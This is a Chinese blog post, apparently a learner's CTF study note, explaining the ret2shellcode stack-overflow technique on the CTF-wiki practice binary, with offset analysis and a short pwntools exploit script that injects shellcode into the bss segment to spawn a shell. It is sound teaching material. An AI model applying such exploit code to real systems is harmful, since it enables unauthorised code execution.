0
点赞
收藏
分享

微信扫一扫

[二进制安全学习]ret2shellcode


文章目录

  • ​​写在前面​​
  • ​​ret2shellcode​​
  • ​​利用原理​​
  • ​​利用关键​​
  • ​​例题​​
  • ​​参考文章​​

写在前面

懒狗的第二篇学习,开冲

ret2shellcode

利用原理

ret2shellcode,即控制程序执行 shellcode 代码。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

利用关键

1、程序存在溢出,并且还要能够控制返回地址

2、程序运行时,shellcode 所在的区域要拥有执行权限

3、操作系统还需要关闭 ASLR (地址空间布局随机化) 保护 。

例题

还是拿着ctfwiki的进行自我学习复现
首先checksec查看一下,源程序只开启了NX保护,并且有可读,可写,可执行段

[二进制安全学习]ret2shellcode_栈溢出

接下来用IDA看看

[二进制安全学习]ret2shellcode_可执行_02


看到了gets函数很容易想到可以进行栈溢出,同时将对应的字符串复制到 buf2 处,可以看见他在bss段

[二进制安全学习]ret2shellcode_栈溢出_03


简单调试程序,看看这一个 bss 段是否可执行,有可读可写可执行

[二进制安全学习]ret2shellcode_可执行_04

我们就控制程序读入 shellcode,然后控制程序执行 bss 段处的 shellcode即可

下面来看看偏移,首先可以看见调用gets函数的地址​​0x08048593​

[二进制安全学习]ret2shellcode_随机化_05


那个80h+s很蒙蔽,直接去gdb调试看看

[二进制安全学习]ret2shellcode_随机化_06


还有

[二进制安全学习]ret2shellcode_随机化_07

因此我们不难得到​​esp​​​为​​0xffffd130​​​,​​ebp​​​为​​0xffffd1b8​​​, ​​s​​​ 相对于 ​​esp​​​ 的索引为 ​​esp+0x1c​​,

  • ​s​​​ 的地址为​​0xffffd14c​
  • ​s​​​ 相对于 ​​ebp​​​ 的偏移为​​0x6c​
  • s 相对于返回地址的偏移为 ​​0x6c+4​​ 因此不难写出payload

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

利用成功,完美打击

[二进制安全学习]ret2shellcode_栈溢出_08

参考文章

​​https://ctf-wiki.org/pwn/linux/stackoverflow/basic-rop/#ret2shellcode​​


举报

相关推荐

0 条评论